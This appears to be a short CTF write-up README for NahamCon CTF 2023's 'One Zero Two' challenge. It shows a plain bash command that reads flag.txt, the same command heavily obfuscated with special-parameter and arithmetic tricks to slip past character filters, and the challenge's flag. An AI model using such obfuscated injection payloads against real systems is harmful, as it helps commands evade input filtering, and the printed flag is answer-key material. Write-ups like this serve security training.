ctf-writeup/NahamCon CTF 2023/One Zero Two
yaudahbanh 055f991992 Add: Goose Chase, One Zero, One Zero Two, Regina 2023-07-05 14:58:18 +07:00
..
images Add: Goose Chase, One Zero, One Zero Two, Regina 2023-07-05 14:58:18 +07:00
README.md Add: Goose Chase, One Zero, One Zero Two, Regina 2023-07-05 14:58:18 +07:00

README.md

One Zero

You only get one zero... for real this time. ;)

How to Solve

To solve this you need bash obfuscate method

Bash Obfuscate Tool

The original payload is bash <<< {cat, flag.txt}

After obfuscate became this

${!#} <<< {$\'\\${##}$((${##}<<$((${##}))<<$((${##}))))$((${##}<<$((${##}))^${##}))\\${##}$((${##}<<$((${##}))<<$((${##}))))${##}\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\',$\'\\${##}$((${##}<<$((${##}))<<$((${##}))))$(($((${##}<<$((${##}))^${##}))<<${##}))\\${##}$((${##}<<$((${##}))<<$((${##}))^${##}))$((${##}<<$((${##}))<<$((${##}))))\\${##}$((${##}<<$((${##}))<<$((${##}))))${##}\\${##}$((${##}<<$((${##}))<<$((${##}))))$(($((${##}<<$((${##}))^${##}))<<${##}^${##}))\\$((${##}<<$((${##}))<<$((${##}))^${##}))$(($((${##}<<$((${##}))^${##}))<<${##}))\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}^${##}))${#}\\${##}$(($((${##}<<$((${##}))^${##}))<<${##}))$((${##}<<$((${##}))<<$((${##}))))\',}

flag

flag{5d15f415ef8e8601f80340761c5918be}